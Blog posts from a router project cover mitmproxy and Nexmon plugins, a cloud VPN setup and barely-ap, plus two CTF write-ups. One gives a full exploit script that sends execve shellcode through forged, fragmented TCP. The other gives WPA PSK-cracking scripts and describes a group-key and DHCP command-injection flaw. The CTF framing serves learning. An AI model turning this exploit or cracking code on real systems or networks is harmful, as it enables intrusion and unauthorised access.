Skip to main content

· 2 min read


This post has become a guide which is being kept up to date, check it out!


In this post we'll show how PLUS members can add a mitmproxy plugin to their SPR setup, and then use the Programmable Firewall (PFW) plugin to redirect traffic through mitmproxy with DNAT forwarding.

We do not need to configure our clients with proxy settings to point to mitmproxy, or rewrite DNS responses, since we are using the PFW feature to do the redirection.

This plugin is available on github.

Prepare the plugin

from the SPR directory, typically /home/spr/super

cd plugins
git clone
echo [\"plugins/spr-mitmproxy/docker-compose.yml\"] > ../configs/base/custom_compose_paths.json
cd spr-mitmproxy
docker compose build

Configure SPR

  1. Navigate to the SPR UI. Add mitmproxy under the Plugins page
  • be sure its been added to configs/base/custom_compose_paths.json as above
  • Enable it by toggling the slider
  1. Add mitmweb0 to the custom interface rules. You can verify your container's network address in the Container tab -> Under Firewall-> Custom Interface Access Add a new rule, make sure mitmproxy has wan at least to access the internet.

  1. Create a forwarding rule to the container web interface :8081. Pick an arbitrary IP in the subnet -- although not the same one as the container as that confuses dnat.

  2. Create a site forward rule with PFW for traffic to intercept

Using mitmproxy

Then make a curl request from any of the LAN devices, and it should populate on the mitmweb host. This was the :8081 host that was earlier defined

Leveraging Transparent Sockets

Behind the scenes, mitmproxy is using transparent sockets with DNAT. Inside the container network, we establish dnat rules to mitmproxy from incoming ports 80, 443.


nft -f - << EOF
table inet nat {
chain prerouting {
type nat hook prerouting priority filter; policy accept;
tcp dport { 80, 443 } dnat ip to

mitmweb -p 9999 -m transparent --web-host

We'd love to hear from you

We're always thrilled to get feedback on plugins people would like to see, and we're excited to hear about what people will be able to do with mitmproxy running alongside SPR. Drop a line at outreach[at] or join us on discord

· 5 min read

The built-in wifi radio on a Raspberry Pi 4 is kind of sad, as it does not support monitor mode. Luckily the hackers at Seemo Labs have fixed this.

In this post we'll describe how to load Seemoo's Nexmon onto a pi4 running a modern kernel, and package it into a SPR Plugin named spr-nexmon. We'll demonstrate that packet capture and injection works.

First, we will copy the template plugin

$ cp -R super/api_sample_plugin/ spr-nexmon


Prebuilt binaries

We'll use some prebuilt binaries that include

  • the nexmon firmware build for the broadcom wifi radio
  • the 6.2 kernel build
  • the nexutil binary

These were built from the 6.1/6.2 support pull-request

$ cp -R ../nexmon/binaries spr-nexmon/binaries

Docker preparations

We'll update the Dockerfile to include some useful tools and build the project.

FROM ubuntu:23.04 as builder
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update
RUN apt-get install -y --no-install-recommends nano ca-certificates git curl
RUN mkdir /code
RUN curl -O${TARGETARCH}.tar.gz
RUN rm -rf /usr/local/go && tar -C /usr/local -xzf go1.20.linux-${TARGETARCH}.tar.gz
ENV PATH="/usr/local/go/bin:$PATH"
COPY code/ /code/

RUN --mount=type=tmpfs,target=/tmpfs \
[ "$USE_TMPFS" = "true" ] && ln -s /tmpfs /root/go; \
go build -ldflags "-s -w" -o /nexmon_plugin /code/nexmon_plugin.go

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends tcpdump kmod iw wireless-regdb && rm -rf /var/lib/apt/lists/*
COPY scripts /scripts/
COPY --from=builder /nexmon_plugin /
COPY binaries/ nexmon/
ENTRYPOINT ["/scripts/"]

We also want this container to use the host network and be privileged so it can load kernel modules. And we'll also set it to restart automatically

And heres the docker-compose.yml:

version: '3.4'

driver: journald

&default-labels ${CI:-false}
org.supernetworks.version: ${RELEASE_VERSION:-latest}${RELEASE_CHANNEL:-}

container_name: supernexmon
context: .
labels: *default-labels
logging: *default-logging
restart: always
network_mode: host
privileged: true
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
- /lib/firmware/cypress/:/lib/firmware/cypress/
- "${SUPERDIR}./state/plugins/nexmon:/state/plugins/nexmon"
- "${SUPERDIR}./state/public/:/state/public/:ro"

Extending the SPR API

The Nexmon patch breaks the ability to change channels normally. Instead, we can do it with the 'nexutil' binary that nexmon provides.

We'll rename sample_plugin.go to nexmon_plugin.go and define a new function

func changeChannel(w http.ResponseWriter, r *http.Request) {
channel := r.URL.Query().Get("channel")

// Use regexp.MatchString to check if the input matches the pattern
matches, err := regexp.MatchString("^[0-9/]*$", channel)
if err != nil || !matches {
http.Error(w, "Invalid channel string", 400)

err = exec.Command("/nexmon/nexutil", "-k"+channel).Run()
if err != nil {
http.Error(w, err.Error(), 400)
func main() {
unix_plugin_router.HandleFunc("/change_channel", changeChannel).Methods("PUT")

Updating the startup script

When the container runs, we'll have it make sure the seemo firmware and kernel module are loaded fresh.


cd /nexmon
cp brcmfmac43455-sdio.bin /lib/firmware/cypress/cyfmac43455-sdio-standard.bin

rmmod brcmfmac_wcc
rmmod brcmfmac

insmod brcmfmac.ko

sleep 1

iw phy `iw dev wlan0 info | awk '/wiphy/ {printf "phy" $2}'` interface add mon0 type monitor

echo [+] Loaded

cd /


After building, with docker compose build, we'll configure the API to load the plugin.

In the UI or by modifying configs/base/api.json, add the nexmon plugin*

"Name": "nexmon",
"URI": "nexmon",
"UnixPath": "/state/plugins/nexmon/socket",
"Enabled": true,
"Plus": false,
"GitURL": "",
"ComposeFilePath": ""

Start the plugin with

SUPERDIR=/home/spr/super/ docker compose up -d


Running tcpdump should show captured 802.11 packets from the environment

# tcpdump -i wlan0 ...

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes
22:50:27.005540 1876482302us tsft 1.0 Mb/s 2412 MHz 11b -68dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.046106 1876522917us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.107930 1876584711us tsft 1.0 Mb/s 2412 MHz 11b -70dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.148500 1876625317us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.210323 1876687100us tsft 1.0 Mb/s 2412 MHz 11b -67dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY

We can also verify that our channel switch api extension works

# curl -u admin:admin localhost/plugins/nexmon/change_channel?channel=4/20 -X PUT
# iw dev

Interface wlan0
ifindex 44
wdev 0xa00000002
addr 00:00:00:00:00:00
type monitor
channel 4 (2427 MHz), width: 20 MHz, center1: 2427 MHz
Interface mon0
ifindex 43
wdev 0xa00000001
addr e4:5f:01:fd:a1:76
type managed
channel 4 (2427 MHz), width: 20 MHz, center1: 2427 MHz
txpower 31.00 dBm

* Note that the SPR UI does not allow specifying a docker compose path directly from the UI. Instead, a user can modify or create a list in configs/base/custom_compose_paths.json to do so.

Running barely-ap

Besides sniffing traffic, we can also do wild things with packet injection, like running a WPA2 Access Point written in scapy

Since the nexmon patch is a bit hacky, we set the wlan0 mac address ourselves and make sure the channel matches

ap = AP("turtlenet", "password1234", mode="iface", iface="wlan0", mac="e4:5f:01:cd:a1:76", channel=4)


root@wifilab0:~/barely-ap/src# python3                                                                                                                  
command failed: Device or resource busy (-16)
Created TUN interface scapyap at Bind it to your services if needed.
Sending Authentication to 56:66:a3:9c:71:8b from e4:5f:01:cd:a1:76 (0x0B)...
Sending Association Response (0x01)...
sent eapol m1 56:66:a3:9c:71:8b
[+] New associated station 56:66:a3:9c:71:8b for bssid e4:5f:01:cd:a1:76

Want to try it yourself on SPR?

You can grab spr-nexmon here and barely-ap at

· 3 min read

Reducing Attack Surfaces (Part 1)

SPR lets users create adaptive, micro-segmented networks for connecting and managing devices. In addition to fine-grained network visibility we also build hardened software and work to avoid common security flaws. As SPR has matured we've started taking on further efforts to eliminate attack surfaces.

When it comes to native code: we introduce none. As in, we have not written new native code for SPR anywhere. We have one BPF filter, and its otherwise golang all the way down. We also do not run standard native services where we can avoid them. We have replaced traditional C code for services such as DNS and DHCP with golang implementations, namely CoreDNS and CoreDHCP.

The remaining native code targets that we have in SPR are as follows:

  • The Linux kernel. For example: ethernet, the tcp/ip stack, nftables, the mac80211 framework and vendor drivers
  • 802.11 Firmware, Ethernet Firmware
  • Hostapd
  • PPP Daemon (off by default)
  • OS Services (Ubuntu)

Targeting the Whole WiFi Stack

We believe the wifi firmware to be today's most insecure target (along with the vendor drivers). Many firmwares are blackbox, poorly documented, and opaque to public security research. We want SPR to be immune to attacks like Broadpwn and Qualcomm Exploitation.

We've previously published barely-ap to teach people about WiFi authentication. It can and does work with real wifi chips running in monitor mode to connect clients over the air. We've tested with Android, iOS, and Linux devices.

The plan is to build a series of experiments to host high-speed wifi.

In the near term:

  1. Develop a Proof-of-Concept AP with scapy in monitor mode (DONE)
  2. Develop a shim from monitor frames to hostapd running under mac80211_hwsim. This is a work in progress. We would like to see a rust kernel driver/userland daemon for this


  1. A full AP written in rust, operating on raw 802.11 frames (not relying on the Linux kernel 802.11 subsystem)
  2. Rust protocol firmware for a wifi chip.

Developing a Shim Explained

By running the card in monitor mode, protocol parsing in the card firmware is substantially reduced if not altogether eliminated.

And with relaying frames over to macsim, hostapd is good to go. What needs to happen however is making this incredibly fast, and researching rate negotiation and what calls might need to be made to firmware to enable higher coding rates.

By using hostapd and the kernel mac80211 stack, we still maintain some native attack surface, however we get a known working, security-tested AP that will be compatible with a wide variety of devices, without the firmware protocol parsing and the vendor driver parsing.

For next steps, a proof-of-concept with scapy is actually much too slow. We want to start with a rust userland daemon leveraging iouring. If that doesn't fly then we'll go to a shim in the kernel.

Interested in working with us? Please reach out

We are actively seeking an intern to help develop rust+wifi for SPR.

You can contact us at spr-wifi [ a-t ] or hop on the discord

· 6 min read


At Defcon CTF Finals, the Final round of LiveCTF went into sudden death. The challenge was named Noppenheimer, a play on the Oppenheimer film that was released, and NOP (NO-OP) instructions.

Contestants had to turn a random sequence of bytes into a gadget/shellcode cave by converting bytes into NOPs, by sending "nuke" Launch commands.

LAUNCH x,y - Launch a test at position x,y
VIEW - See state of test site
ENDTEST - Conclude testing

Both teams solved locally. But they couldn't exploit Noppenheimer against the remote system.

What Went Wrong

Teams used a single read/recv syscall to receive to get shellcode to run. Without any delays in the program, the call will return quickly and if the payload is larger than the MTU it will return partial TCP data. The payloads were crashing on the remote end as they didn't have working shellcode.

As @ZetaTwo and @psifertex explain, the conditions which cause this are highly specific to the exploit with payload length, delays, and other factors. The testers exploits didnt trigger this problem.

Solving with IP Fragmentation

IP Packets can be fragmented into multiple packets when they exceed the MTU size, which is the maximum amount of octets accepted at layer 2 on Ethernet.

By sending fragments in reverse order, it can be ensured that the recv/read call will get all of the data that has been sent, even beyond the MTU size.

Here is a python solution that combines scapy with pwntools, to run inside of a container, which does just that.

As a bonus, it also includes a semi-working TCP implementation written in pure scapy/python.

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# Author: [email protected] <>
Demo of TCP w/ sending fragmented payloads with scapy.

Run this code inside of a namespace/container. Since Linux sends RST for forged SYN packets,
this code will use iptables to block them.

#> iptables -A OUTPUT -p tcp --tcp-flags RST RST -s <src_ip> -j DROP
from scapy.all import *
import logging
from pwn import *

logger = logging.getLogger(__name__)

class TcpHandshake(object):

class RLoop(threading.Thread):
def __init__(self, tcp):
self.tcp = tcp

def handle_recv(self, pkt):
if pkt and pkt.haslayer(IP) and pkt.haslayer(TCP):
if pkt[TCP].flags & 0x3f == 0x12: # SYN+ACK
logger.debug("RCV: SYN+ACK")
elif pkt[TCP].flags & 4 != 0: # RST
logger.debug("RCV: RST")
#raise Exception("RST")
self.tcp.abort = True
elif pkt[TCP].flags & 0x1 == 1: # FIN
logger.debug("RCV: FIN")
elif pkt[TCP].flags.A: # ACK came in?
logger.debug("RCV: ACK")
self.tcp.send_base = pkt[TCP].ack

logger.debug("RCV: %s"%repr(pkt))
if len(pkt[TCP].payload) > 0:
self.tcp.Q += [bytes(pkt[TCP].payload)]

#great, got an ack, check the send queue for pending data
while len(self.tcp.send_queue) > 0:
ret = self.tcp.send_data(self.tcp.send_queue.pop(0))
if ret == False:

logger.debug("? Unhandled packet")

def run(self):
ans = sniff(filter="tcp port %s"[1], lfilter=self.tcp.match_packet, prn=self.handle_recv, store=False)

def __init__(self, target, sport=31337):
self.seq = 0
self.seq_next = 0 = target
self.dst = next(iter(Net(target[0])))
self.dport = target[1] = sport #random.randrange(0, 2**16)
self.seq_start = random.randrange(0, 2**32)
# options=[('WScale', 7)]
self.l4 = IP(version=4,dst=target[0])/TCP(, dport=self.dport, flags=0,
seq=self.seq_start, window=65535)
self.src = self.l4.src
self.Q = []
self.abort = False

self.send_base = self.l4[TCP].seq
self.send_window = self.l4[TCP].window
self.last_sent = self.send_base
self.send_queue = []

self.last_ack = 0

#let underlying handle ethernet
self.s = conf.L3socket()

self.R = self.RLoop(self)
logger.debug("init: %s"%repr(target))

def start(self):
return self.send_syn()

def match_packet(self, pkt):
if pkt.haslayer(IP) and pkt[IP].dst == self.l4[IP].src \
and pkt.haslayer(TCP) and pkt[TCP].dport ==
if pkt[TCP].ack <= self.seq_next and pkt[TCP].ack >= self.seq_start:
return True
logger.debug("ack was %d expected %d" % (pkt[TCP].ack, self.seq_next))
return False

def send_syn(self):
logger.debug("SND: SYN")
self.l4[TCP].flags = "S"
self.seq_next = self.l4[TCP].seq + 1
self.l4[TCP].seq += 1

def send_synack_ack(self, pkt):
logger.debug("SND: SYN+ACK -> ACK with ack # %d" % (pkt[TCP].seq + 1))
self.l4[TCP].ack = pkt[TCP].seq + 1
self.l4[TCP].flags = "A"
self.seq_next = self.l4[TCP].seq

def send_data(self, d):
if self.abort == True:
print("[-] not sending data, aborted !!!")
return False
self.l4[TCP].flags = "PA"

available = self.send_base + self.send_window - self.last_sent

if available == 0:
self.send_queue += [d]
# have to wait
return False
assert available >= 0

if available < len(d):
d, chop = d[:available], d[available:]
self.send_queue += [chop]

self.seq_next = self.l4[TCP].seq + len(d)
self.last_sent = self.seq_next
tosend = self.l4/d

self.l4[TCP].seq += len(d)
return True

def send_frag_data(self, d, sz):
if self.abort == True:
print("[-] not sending data, aborted !!!")
assert sz >= 8
self.l4[TCP].flags = "PA"

#tbd send window handling for fragments(?)
dat = self.l4/d
fragments = fragment(dat, sz)
for f in fragments[::-1]:

self.seq_next = self.l4[TCP].seq + len(d)
self.last_sent = self.seq_next
self.l4[TCP].seq += len(d)
return True

def send_fin(self):
logger.debug("SND: FIN")
self.l4[TCP].flags = "F"
self.seq_next = self.l4[TCP].seq + 1
self.l4[TCP].seq += 1

def send_rst(self):
logger.debug("SND: RST")
self.l4[TCP].flags = "R"
self.seq_next = self.l4[TCP].seq + 1
self.l4[TCP].seq += 1

def send_finack(self, pkt):
logger.debug("SND: FIN+ACK")
self.l4[TCP].flags = "FA"
self.l4[TCP].ack = pkt[TCP].seq + 1
self.seq_next = self.l4[TCP].seq + 1
self.l4[TCP].seq += 1
#raise Exception("FIN+ACK")
self.abort = True

def send_ack(self, pkt):
self.l4[TCP].flags = "A"

self.last_ack = pkt[TCP].ack
to_acknowledge = len(pkt[TCP].payload)
#logger.debug("SND: ACK with ack # %d" % (pkt[TCP].seq + len(pkt[TCP].load)))

if to_acknowledge != 0:
self.l4[TCP].ack = pkt[TCP].seq + to_acknowledge

def recv(self, timeout):
elapsed = 0
while (timeout != 0) and (elapsed < timeout):
if len(self.Q) > 0:
retval = self.Q.pop(0)
return retval
elapsed += 0.
#returning nothing
return ""

def clear_recv(self):
self.Q = []

def wait_all_acks(self, timeout=0):
elapsed = 0
delta = 0.1
while (timeout != 0) and (elapsed < timeout):
if self.last_ack == self.seq_next and len(self.send_queue) == 0:
return True
elapsed += delta
return False

if __name__== '__main__':
sport = random.randint(40000, 60000)
os.system("iptables -F OUTPUT")
os.system("iptables -A OUTPUT -p tcp --sport %d --tcp-flags RST RST -j DROP"%sport)
conf.verb = 0

tcp_hs = TcpHandshake(("", 31337), sport=sport)

r = tubes.sock.sock()
r.send = tcp_hs.send_data
r.recv = tcp_hs.recv

tosend = b""
def nuke(offset):
global tosend
# scapy send is slow. to speed it up,
# chunk the commands
if len(tosend) > 400:
tosend = b""

tosend += b'LAUNCH %d,%d\n'%(offset%0x10,offset//0x10)

def nukes(a, b):
for i in range(a, b):

nukes(0, 0x40)
nukes(0x50, 0x58)
nukes(0x5b, 0x60)
nukes(0x70, 0xb0)
nukes(0xc0, 0xc3)

nukes(0xc6, 0xc7)
nukes(0xca, 0xd0)
nukes(0xe0, 0xec)
nukes(0xed, 0xf0)

nukes(0x108, 0x10c)
nukes(0x10d, 0x473)
nukes(0x495, 0xc17)

if tosend:

tosend = b'ENDTEST\n'

context.arch = 'amd64'
sc = b'\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

print("******** sending shellcode ***********")
d = b'\x90' * (0xd00+200) + sc

tcp_hs.send_frag_data(d, 100)


print("Waiting for data to come in...")
print("[+] Good")


os.system("iptables -F OUTPUT")
FROM python:3.8-slim

# Set the working directory

# Install system dependencies
RUN apt-get update && apt-get install -y libpcap-dev

# Install Scapy using pip
RUN pip install scapy pwntools
RUN pip uninstall pyelftools -y
RUN pip install pyelftools==0.29

RUN apt-get install -y iptables net-tools
RUN apt-get install -y tmux tcpdump iproute2

ENTRYPOINT ["/app/"]

· 3 min read


This guide allows you to setup your own cloud VPN using SPR for $4/month on the DigitalOcean Marketplace. It features ad blocking, firewall rules, and device micro-segmentation.

If you want to dive in directly: Click here to create a droplet using the SPR image. Else, follow along in the steps below.

Step 1 - Create a SPR Droplet

To create a SPR Droplet from the Digital Ocean marketplace, press the Create SPR Droplet button:

Pressing the button will take you to the DigitalOcean control panel. If you are not logged into your DigitalOcean account, you need to login. If you don't have an account, you can sign up for one.

Step 2 - Configure your droplet

Select a region & be sure to create a SSH key if you don't have one configured already.

For Droplet Size, the smallest $4/month with 512 MB RAM is enough but feel free to choose another one.

After you've made all your choices, press Create droplet.

Step 3 - Access your droplet

In the droplet listing you can see the IP address, click Get started to see the tutorial and how to access you server.

Step 4 - Generate a VPN Key and Connect

cd /home/spr/super && ./

You can scan the QR Code generated from the terminal

Step 5 -- Connecting to SPR

To connect to the SPR UI/API, it's possible to connect via the VPN, or to connect with an SSH tunnel

For the ssh tunnel approach, reconnect to the droplet, with forwarding options

ssh [email protected]  -N -L 8000:

Then navigate to localhost:8000. The password is auto generated by the droplet and presented on the first login .

[+] login information:
http tunnel: ssh -N -L 8000:
url: http://localhost:8000/
username: admin
password: SmczeGzcEPbBmQEi
token: 6Yd2MtMSkm0TiDG2ZIWqoFqxgiHN9HzRJ24m/U8HKw4=

You can update the admin password by modifying /home/spr/super/configs/auth/auth_users.json directly.

Alternately, when connected to the VPN, the default address for the SPR frontend will be at This can be updated under the 'supernetworks' panel.


With this guide we've described how to setup virtual SPR to get a secure, self-hosted VPN for $4/month. The setup allows you to route and redirect traffic, block ads, and automate networks tasks.

See the spr-virtual-image-build repository on GitHub for how the image is built.

Read more about running SPR in the cloud in the Virtual SPR Guide.

· 4 min read

Secure Private Router Configuration Made Easy

We are happy to announce the release of our iOS app for the SPR project. You can manage your SPR effortlessly, even while you're on the go with the VPN capabilities. The App is available today for $0.99. Revenue goes towards the development of SPR.

Read more about SPR here

Simplified Configuration

You can set up your new router, configure network firewall rules, manage devices, and establish secure VPN connections with just a few taps.

Connect Your Friends Quickly and Securely

With the SPR App you can securely bring a new device onto your wifi network in only a few seconds. To do so, add a new device, set a name, and hit next to generate a secure password. Then scan the QR code from the new device and it will be good to go.

By default, the new device has access to just the internet and nothing else. You can join it into groups for access to local network devices. For example, a gaming group for playing LAN networked games.

Ad Blocking and DNS Controls

Enhance your browsing experience by blocking intrusive ads at the network level. You can also view and customize your network device's DNS requests.

Remote Configuration via VPN

spr vpn client

SPR works great for turning your home network into a personal VPN service. You can also host SPR in the cloud. Using SPR to VPN your mobile devices helps get better network speeds to work around operator traffic shaping, as well as keep access to media services while traveling. And it's also helpful to maintain ad blocking while on the go, without adding any software at all to your devices.

With the App you can manage your SPR over the VPN itself.

To learn more about running SPR using VPN, with all its features except WiFi, check out the Virtual SPR Setup Guide

Next Steps

If you'd like to experience the power of open-source networking and take control of your network's security and privacy, give SPR a try.

Whether you're connecting directly to your SPR device or remotely through a VPN, our app offers a seamless and intuitive interface, empowering you to create a hardened and resilient home network environment.

You can download our iOS app today. Visit our homepage to learn more.

The source code for the app is available on GitHub.

App Privacy and Privacy Policy

Data Not Collected

Supernetworks, Inc. does not collect any data from this app.

We do not collect any personal information about you, such as your name, address, or email address, when you use our app.

Our app does not use any third-party services that collect or use personal information. We may receive crash logs from Apple which include anonymized code stack traces from where the errors occured.

We do not share customer data with any third-party services.

Read our Privacy Policy here

· One min read

Introducing Barely AP

We've published barely an implementation of a WiFi 802.11 Access Point, using Scapy to teach people about WiFi authentication.


On Linux, this code lets you spin up a python access point over monitor mode. It implements features like handling probe requests, authentication, association, and reassociation, and encryption and decryption of data using CCMP (Counter Mode Cipher Block Chaining Message Authentication Code Protocol).


This code just barely gets the job done -- it should NOT be used as a reference for writing production code. It has NO protocol security, as it is not security robust despite performing authenticated CCMP encryption.


Building & running


Inspect IP traffic

docker exec -it barely-ap tcpdump -i scapyap
docker exec -it barely-sta tcpdump -i wlan1

· 10 min read

Editor's note:

The Turtles WiFi challenges are a series of ctf-style problems concerning network and wifi security skills.

The tasks were a bit challenging, and invovled a combination of WiFi Cracking and exploring how WPA Authentication works, against a custom Access point using Salsa20 instead of AES.

Axel Souchet has kindly shared his writeup with us, which we share below.

Turtles: Virtual WiFi Hacking Challenges - March 2023


The older I get, the more fascinated I have become with the world surrounding me; I ask myself all the time 'how does this thing work uh 🤔?'. It is both fun and rewarding for me to understand the world a bit better. This is also a great way to be constantly humbled by the magic that surrounds us 🌈

Although I enjoy the process of learning how things work, there are millions of things that I interact with daily, that I know so little about; embarrassing.

Heck, how does WiFi work I thought? Because I know that I learn best by getting my hands dirty, I decided to try to solve a few challenges as an introduction. That is why I decided to check-out the March Turtle challenge 🙂

If you want to play at home, you can find the challenges on Github and one the SPR website:

You can participate either directly from your browser via an impressive emulated Linux environment or you can self-host the challenge by cloning the turtles-march-2023 repository and follow the instructions. I chose to self-host the challenges as it made it easier to debug for me.


All right, enough blah blah and let's get warmed up. In that part of the challenge, we are asked to extract data off two packet captures: turtle0.pcap & turtle0.5.pcap.

For the first capture, we need to extract a PSK that looks like the following: turtle{x}, great. Because we don't have more details regarding the PSK's shape itself, it is fair to assume that the authors want us to use a wordlist attack instead of trying to bruteforce it.

I grabbed the famous rockyou wordlist and I wrote a small Python script to format prepend / append turtle{} as this is what the PSK will look like.

with open('rockyou-turtle.txt', 'w', encoding='utf8') as fout:
with open('rockyou.txt', 'r', encoding='utf8', errors='replace') as fin:
for line in fin.readlines():
line = line.strip()

Then, I ran aircrack-ng with the new wordlist against turtle0.pcap with the following command: $ aircrack-ng turtle0.pcap -w rockyou-turtle.txt.

After a few minutes, a valid key was found: turtle{power}, great!

                        Aircrack-ng 1.6

[00:00:01] 3200/2465175 keys tested (5273.73 k/s)

Time left: 7 minutes, 46 seconds 0.13%

KEY FOUND! [ turtle{power} ]

Master Key : 11 8C 23 85 2D 5F 7E AC DE 8C 85 B0 CB 80 02 5F
CA 48 34 DF CE 2D 2A 7C 3C 01 4B A8 14 B7 2D E1

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 6B D2 F8 71 7F E5 D8 5E 5B 68 FE 53 0A 28 9D 4E

The next challenge says that there is data to be decrypted inside turtle0.5.pcap. Both the station and the AP use the 4-way handshake to derive various keys that are used to encrypt traffic. We cracked a PSK in the previous step, so we can open the packet capture into Wireshark and let it decrypt the traffic for us. Follow Wireshark's HowToDecrypt802.11 article to know how to do that.

Once decrypted, there is a PING request with a flag in its payload: turtle{deecoded}, awesome.

Step 1

Okay warmups done, time to have a look at the real challenges. For this step, the authors ask for us to crack another PSK from another packet capture of a handshake. We also have the source code of a custom AP.

I initially threw turtle1-handshake.pcap at aircrack-ng with the rockyou-turtle.txt wordlist but no valid key was found, bummer. I thought it was possible that this key was part of another famous wordlist so I downloaded a bunch of them, but ... same. Weird.

I learned more about the 4-way handshake to understand how both the station & AP derive the keys needed to transmit / verify encrypted frames. Because the handshake was captured from a custom AP, it made sense to me that maybe aircrack-ng didn't understand the handshake properly and missed PSK.

I decided to implement the attack on my own. I used the MIC code that is sent by the AP in the 3rd message to verify if a candidate is valid or not (on top of the nonces/macs in the first / second messages). We have the entire EAPOL packet so we can compute the MIC code ourselves and verify if it matches the one sent by the AP. If it does, it means we have found a valid PSK 🤤

I ran the script against the turtleified rockyou wordlist, and eventually (it's slow!) found a valid PSK candidate: turtle{excellent} 🔥

# Axel '0vercl0k' Souchet - April 15 2023
# WIN w/ b'turtle{excellent}'
import hashlib
import hmac
from scapy.all import *

class EAPOL_KEY(Packet):
name = 'EAPOL_KEY'
fields_desc = [
ByteEnumField('key_descriptor_type', 1, {1: 'RC4', 2: 'RSN'}),
BitField('reserved2', 0, 2),
BitField('smk_message', 0, 1),
BitField('encrypted_key_data', 0, 1),
BitField('request', 0, 1),
BitField('error', 0, 1),
BitField('secure', 0, 1),
BitField('has_key_mic', 1, 1),
BitField('key_ack', 0, 1),
BitField('install', 0, 1),
BitField('key_index', 0, 2),
BitEnumField('key_type', 0, 1, {0: 'Group/SMK', 1: 'Pairwise'}),
BitEnumField('key_descriptor_type_version', 0, 3, {
1: 'HMAC-MD5+ARC4',
2: 'HMAC-SHA1-128+AES-128',
3: 'AES-128-CMAC+AES-128',
0x20: 'SALSA20-HMAC'
LenField('key_length', None, 'H'),
LongField('key_replay_counter', 0),
XStrFixedLenField('key_nonce', b'\x00'*32, 32),
XStrFixedLenField('key_iv', b'\x00'*16, 16),
XStrFixedLenField('key_rsc', b'\x00'*8, 8),
XStrFixedLenField('key_id', b'\x00'*8, 8),
XStrFixedLenField('key_mic', b'\x00'*16, 16),
LenField('wpa_key_length', None, 'H'),
XStrLenField('key', b'\x00'*16,
length_from=lambda pkt: pkt.wpa_key_length),
lambda pkt: pkt.wpa_key_length and pkt.wpa_key_length > 0)

def customPRF512(key, amac, smac, anonce, snonce):
A = b"Pairwise key expansion"
B = b"".join(sorted([amac, smac]) + sorted([anonce, snonce]))
num_bytes = 64
R = b''
for i in range((num_bytes * 8 + 159) // 160):
R +=, A + chb(0x00) + B + chb(i), hashlib.sha1).digest()
return R[:num_bytes]

def calc(pwd):
amac = bytes.fromhex('02:00:00:00:00:00'.replace(':', ''))
smac = bytes.fromhex('02:00:00:00:01:00'.replace(':', ''))
anonce = bytes.fromhex(
snonce = bytes.fromhex(
PMK = hashlib.pbkdf2_hmac('sha1', pwd, b'turtle1', 4_096, 32)
KCK = customPRF512(PMK, amac, smac, anonce, snonce)[:16]
keydata = bytes.fromhex('ace914ed4b7bf2b638b81c841bd3ab67561681d57591496ff93465d173c04f911679a118fb7f9590faef7fe21aa5c82d8bc746b190ea84e1')
assert len(keydata) == 56
ek = EAPOL(version='802.1X-2004',type='EAPOL-Key') / EAPOL_KEY(
key_descriptor_type=2, key_descriptor_type_version=2, install=1, key_type=1, key_ack=1,\
has_key_mic=1, secure=1, encrypted_key_data=1, key_replay_counter=2, \
key_nonce=anonce, key_length=16, key=keydata, wpa_key_length=len(keydata)
return,, hashlib.sha1).digest()[:16]

def main():
wanted = bytes.fromhex('7235448e1b056108e40ff429ad3545ab')
assert len(wanted) == 16
with open('rockyou-turtle.txt', 'r', encoding='utf8') as fin:
for line in fin.readlines():
candidate = line.strip().encode()
c = calc(candidate)
assert len(c) == 16
if c == wanted:
print(f'WIN w/ {candidate}')

if __name__ == '__main__':

Step 2

All right, final step. In this step, we are given another custom AP's source code and we need to break in. How exciting uh?

For this step, I set-up an environment to debug and interact with the AP. I created a regular Hyper-V Ubuntu VM (note that this won't work from WSL2) and ran the two containers with the below commands:

over@bubuntu:~/turtles-march-2023$ sudo docker compose up -d
[sudo] password for over:
Starting t1_ap ... done
Starting t1_start ... done

over@bubuntu:~/turtles-march-2023$ sudo ./

At that stage, you can log-in into both containers with the following commands:

over@bubuntu:~/turtles-march-2023$ sudo docker exec -it t1_start bash
over@bubuntu:~/turtles-march-2023$ sudo docker exec -it t1_ap bash

t1_ap is the container that runs the AP and t1_start is where you can run a client and send packets to the AP. This is cool because you don't need any physical Wifi device to play in this environment!

One of the keys that is derived during the 4-way handshake is meant to be shared by every station; kind of a group key. My understanding is that it is used to send broadcast-like packets to every station. In the AP, it turns out this key is a constant: turtle{everyone gets a shell :)} 😬

After reading the code carefully, it is clear that there you don't need to be associated with the AP to send a packet encrypted with this group key. This is particularly interesting because we don't have knowledge of the PSK which means we wouldn't be able to complete the 4-way handshake. In a normal AP, the GTK is shared in an encrypted frame and it isn't a constant / isn't known by an attacker (and is rotated every time a station disconnects).

Finally, an attacker can trigger a shell command injection when the AP parses a DHCP offer packet:

def reply_dhcp_offer(self, incoming):
# ...
for o in incoming[DHCP].options:
